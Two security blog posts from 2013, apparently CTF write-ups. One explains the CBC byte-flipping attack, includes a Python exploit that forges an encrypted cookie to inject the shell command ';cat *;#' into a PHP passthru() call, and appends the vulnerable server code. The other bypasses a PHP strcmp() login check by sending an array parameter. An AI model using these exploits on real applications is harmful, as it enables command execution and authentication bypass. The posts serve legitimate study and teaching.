Friday, September 6, 2013

CBC Byte Flipping Attack - 101 Approach


As usual, there are some explanations about this attack out there (see references at the end), but requires some knowledge to understand it properly, so, here I will describe step by step how to perform this attack.

Purpose of the Attack: To change a byte in the plaintext by corrupting a byte in the ciphertext.
Why?
To bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to Admin, or any other consequence of changing the plaintext expected by an Application.

Introduction

First of all, let's start understanding how CBC (Cipher-block chaining) works. A detailed explanation can be found here:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29

But I will only explain what is needed to understand the attack.

Encryption process:




Plaintext: The data to be encrypted.
IV:  A block of bits that is used to randomize the encryption and hence to produce distinct ciphertexts even if the same plaintext is encrypted multiple times.
Key: Used by Symmetric Encryption Algorithms like AES, Blowfish, DES, Triple DES, etc.
Ciphertext: The data encrypted.

An important point here is that CBC works on fixed-length group of bits called a block. In this blog, we will use blocks of 16 bytes each.

Since I hate mathematical formulas, below is mine:

Ciphertext-0 = Encrypt(Plaintext XOR IV) - Just for the first block
Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1) - For second and remaining blocks.

Note: As you can see, the ciphertext of the previous block is used to generate the next one.

Decryption Process:



Plaintext-0 = Decrypt(Ciphertext) XOR IV - Just for the first block
Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1 - For second and remaining blocks.

Note: The Ciphertext-N-1 is used to generate the Plaintext of the next block, this is where Byte Flipping Attack comes into play. If we change one byte of the Ciphertext-N-1 then when XORing with the next Decrypted block we will get a different Plaintext! You got it? Do not worry, we will see a detailed example below. Meanwhile, below is a nice diagram explaining this attack:



Example:  CBC Blocks of 16 bytes.

Let's say we have this serialized plaintext:

a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

Our target is to change the number 6 at "s:6" to number "7". First thing we need to do is to split the plaintext into 16 bytes chunks:

Block 1:      a:2:{s:4:"name";
Block 2       s:6:"sdsdsd";s:8         <<<-----target div="" here="">
Block 3:      :"greeting";s:20:
Block 4:      "echo 'Hello sd
Block 5:      sdsd!'";}

So, our target char is located at block 2 which means, we need to change the ciphertext of Block 1 to change the plaintext of the second block.
A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at same offset of next plaintext. Since our target is at offset 2:

[0] = s
[1] = :
[2] = 6

Therefore, we need to change the byte at offset 2 of the first ciphertext block. As you can see in the code below, at line 2 we get the ciphertext of the whole data, then at line 3 we change the byte of block 1 at offset 2 and finally we call the decryption function.

1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
2. $enc = @encrypt($v);
3. $enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
4. $b = @decrypt($enc);

After running this code we are able to change number 6 to 7:



But, how did we change the byte to the value we wanted at line 3?

Based on the decryption process described above,  we know that A = Decrypt(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6.  Which is equal to:

C = A XOR B

So, here the only value we do not know is A (block cipher decryption), so, with XOR we can easily get that value by doing: 

A =  B XOR C

And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own value by adding it at the end of the XOR calculation, like:

A XOR B XOR C XOR "7" will give us 7 in the plaintext at offset 2 on the second block.

Below is the PHP source code so that you can replicate it:

[Code Starts Here]

define('MY_AES_KEY', "abcdef0123456789");

function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}  

 
define('MY_MAC_LEN', 40);

function encrypt($data) {
    return aes($data, true);
}

function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
echo "Plaintext AFTER attack : $b\n";

[Code Ends Here]

Try changing the char from "7" to "A" or something else to see how it works.

Exercise 2:

Now that we understood how this attack works, let's do a more real-world exercise. Some weeks ago took place the CTF Competition hosted by the team Eindbazen, there was a Web 400 challenge called "Moo!", You can see all the details of this task at the end of the blog in the reference 2 and 3, here I am just going to describe the final steps of breaking CBC.

We were provided with the source code for analysis, below is the chunk important for this exercise:


Basically, you will submit any text in the POST parameter "name" and the App will respond with a Hello message concatenating the text submitted at the end, but two things happens before printing back the message:

1. The POST "name" parameter is filtered out by PHP escapeshellarg() function (which mainly will escape single quotes to prevent injecting malicious commands), then store it in the Array->greeting field to finally creating a cookie encrypted with this value.
2. Then the content of Array->greeting field is executed via PHP passthru() function, which is used to execute System commands.
3. Finally, anytime the page is accessed, if the cookie already exist, it will be decrypted and then its content executed via passthru() function. Here is where our CBC attack will give us a different plaintext as explained in previous section.

So, I tried to inject below string in the POST parameter "name":

name = 'X' + ';cat *;#a'

I added the char "X" which is the one to be replaced with a single quote via CBC byte flipping attack, then the command to be executed ;cat *; and finally an "#" which is interpreted as a comment by the shell so that we do not get problems with the last single quote inserted by escapeshellarg() function and therefore our command gets executed successfully.

After calculating the exact offset of previous ciphertext block byte to be changed (offset 51), I executed below code to inject a single quote:

pos = 51;
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]

I am altering the cookie since it has the whole ciphertext. Finally, I got below result:


First, we can see in yellow that our "X" was successfully change to a single quote in the second block, but since the first block was altered, it got garbage inserted (in green) which causes an error when trying to unserialize() the data (in red), and therefore, the app did not even try to execute our injection.

How to fix it?

So, basically, we need to play with our injected data until we get garbage in the first block that does not cause any problem during unserialization. A way to get around it is by padding our malicious command with alphabetic chars. Therefore we come up with this injection string padding with multiple 'z' before and after:

name = 'z'*17 + 'X' + ';cat *;#' + 'z' *16

After sending above string, voila!!!, unserialize() does not complain with the garbage received and our shell command is executed successfully!!!!

If you want to replicate this exercise, below in the Appendix section is the PHP code running on the server side and the python script (little bit modified from code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploitation.

Finally, I want to thank the guys of the references mentioned below for writing those excellent blogs.

References:

1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto 
2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
3. http://hardc0de.ru/2013/08/04/ebctf-web400/

Enjoy it!


Appendix:

PHP code:

ini_set('display_errors',1);
error_reporting(E_ALL);

define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
#define("FLAG","CENSORED");

function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}

define('MY_MAC_LEN', 40);

function hmac($data) {
    return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
    return aes($data . hmac($data), true);
}

function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    $mac = substr($data, -MY_MAC_LEN);
    $data = substr($data, 0, -MY_MAC_LEN);
    return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
        echo @decrypt(base64_decode($_COOKIE['settings']));
        $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
    $settings = array(
            'name' => $_POST['name'],
            'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
    );
    setcookie('settings', base64_encode(@encrypt(serialize($settings))));
    #setcookie('settings', serialize($settings));
}
$d = array();
if (@$settings['greeting']) {
    passthru($settings['greeting']);
} else {
    echo "What is your name?
    echo "input name='name' type='text'";
    echo "input name='submit' type='submit' ";


}

Exploit:

#!/usr/bin/python
import requests
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc

url = 'http://192.168.184.133/ebctf/mine.php'

def Test(x):
    t = "echo 'Hello %s!'" % x
    s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
    for i in xrange(0,len(s),16):
        print s[i:i+16]
    print '\n'

def Pwn(s):
    global url
    s = urllib.quote_plus(enc(s))
    req = requests.get(url, cookies = {'settings' : s}).content
 #   if req.find('works') != -1:
    print req
  #  else:
   #     print '[-] FAIL'

def GetCookie(name):
    global url
    d = {
        'name':name,
        'submit':'Submit'
    }
    h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
    if h.has_key('set-cookie'):
        h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
        #h = urllib.unquote_plus(h['set-cookie'][9:])
        #print h
        return h
    else:
        print '[-] ERROR' 
        sys.exit(0)

#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
#a:2:{s:4:"name";
#s:10:"X;cat *;#a
#";s:8:"greeting" 
#;s:24:"echo 'Hel
#lo X;cat *;#a!'"
#;} 
            
#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#a:2:{s:4:"name";
#s:42:"zzzzzzzzzz
#zzzzzzzX;cat *;#
#zzzzzzzzzzzzzzzz
#";s:8:"greeting"
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#zzzzzzzzzzzzz!'"
#;}
#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success

#exploit = "______________________________________________________; cat *;#"
#Test(exploit)
cookie = GetCookie(exploit)
pos = 100; #test case success
#pos = 51; #test case first, unsuccess
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
Pwn(exploit)

Sunday, March 3, 2013

Unauthorized Access: Bypassing PHP strcmp()


While playing Codegate CTF 2013 this weekend, I had the opportunity to complete Web 200 which was very interesting. So, let get our hands dirty.

The main page asks you to provide a valid One-Time-Password in order to log in:



A valid password can be provided by selecting the "OTP issue" option, we can see the source code (provided during the challenge) below:


        include("./otp_util.php");
     
        echo "your ID : ".$_SERVER["REMOTE_ADDR"]."";
        echo "your password : " .make_otp($_SERVER["REMOTE_ADDR"])."";
     
        $time = 20 - (time() - ((int)(time()/20))*20);
        echo "you can login with this password for $time secs.";


A temporary password is calculated based on my external IP (208.54.39.160) which will last 20 seconds or less, below the result:


So, then I clicked on "Login" option (see first image above) and below POST data was sent:

id=208.54.39.160&ps=69b9a663b7cafaca2d96c6d1baf653832f9d929b

Which gave me access to the web site (line 6 in the code below):

But we cannot reach line 9 (see code below) in order to get the flag since the IP in the "id" parameter was different. Let's analyze the script that handles the Login Form (login_ok.php):


1. $flag = file_get_contents($flag_file);
        
2. if (isset($_POST["id"]) && isset($_POST["ps"])) {
3.    $password = make_otp($_POST["id"]);
4.    sleep(3); // do not bruteforce
5.    if (strcmp($password, $_POST["ps"]) == 0) {
6.       echo "welcome, ".$_POST["id"]
8.       if ($_POST["id"] == "127.0.0.1") {
9.           echo "Flag:".$flag
          }       
      } else {
                        echo "alert('login failed..')";
      }       
   }    


Test case 1: Spoofing Client IP Address:

So, the first thing that came to my mind in order to get the flag (line 9) was to send "127.0.0.1" in the "id" parameter, so, let's analyze the function make_otp() which calculates the password:


       $flag_file = "flag.txt";

        function make_otp($user) {
                // acccess for 20secs.
                $time = (int)(time()/20);
                $seed = md5(file_get_contents($flag_file)).md5($_SERVER['HTTP_USER_AGENT']);
                $password = sha1($time.$user.$seed);
                return $password;
        }

As we can see in the code above, the function make_otp receives the "id" parameter in the $user variable and is used to calculate the password, so, by following this approach, we will not be able to pass line 5 since we need a password  for  the IP 127.0.0.1, and we can only request passwords based on our external IP via "OTP Issue" option as explained above, so, how can we get one? What if we try to find a vulnerability in the code related to "OTP Issue" option? 

So, since "OTP Issue" is reading the IP based on the environment variable "REMOTE_ADDR"  we could try to spoof our external IP address as if we were connecting from 127.0.0.1, but unfortunately it is not a good option, although spoofing could be possible, it is only an one way communication so we would not get a response from the Server, so at this point, we need to discard this approach.

Test case 2: Bruteforcing the password

By looking at the make_otp() function shown above, the only data we do not know in the password calculation process, is the content of $flag_file (obviously), so, assuming that the content of that file is less than 4-5  characters and therefore have a chance to bruteforce the MD5 hash, we only would have 20 seconds to guess it, and due to the sleep(3) command (see line 4 above), we could only guess 6 passwords before the password expires and therefore we definitely drop bruteforcing approach off the table.

Test case 3: Bypassing strcmp() function

After analyzing the two cases described above I started "googling" for "strcmp php vulnerabilities" but did not find anything, then, by looking at PHP documentation and realized this function has only three possible return values:

int strcmp ( string $str1 , string $str2 )
Returns
< 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.


Obviously, we need to find a way to force strcmp to return 0 and be able to bypass line 5 (see above) without even knowing the password, so, I started wondering what would be the return value if there is an error during the comparison? So, I prepare a quick test comparing  str1 with an Array (or an Object) instead of another string:


$fields = array(
    'id' => '127.0.0.1',
    'ps' => 'bar'
);
$a="danux";
 if (strcmp($a,$fields) == 0){
        echo " This is zero!!";
 }
 else{
       echo "This is not zero";
}


And got below warning from PHP:

PHP Warning:  strcmp() expects parameter 2 to be string, array given in ...

But guess what?Voila! it also returns the string "This is zero!!" In other words, it returns 0 as if both values were equal.

So, the last but not least step is to send an Array in the "ps" POST parameter so that we can bypass line 5, after some research and help from my friend Joe B. I learned I can send an array this way:

id=127.0.0.1&amp;ps[]=a

Notice that instead of sending "&ps=a", I also send the square brackets [] in the parameter name which will send an array object!! Also, notice that I am sending "id=127.0.0.1" so that I can get to the line 9.
And after sending this POST request...


Conclusion:

I tested this vulnerability with my local version of PHP/5.3.2-1ubuntu4.17, I do not know the version running in the CTF Server but should be similar.
After this exercise, I would suggest you all make sure you are not using strcmp() to compare values coming from end users (via POST/GET/Cookies/Headers, etc), this also reminds me the importance of not only validate parameter values BUT also parameter names as described in on of my previous blogs here.

Hope you enjoy it.

Thanks to CODEGATE Team to prepare those interesting challenges!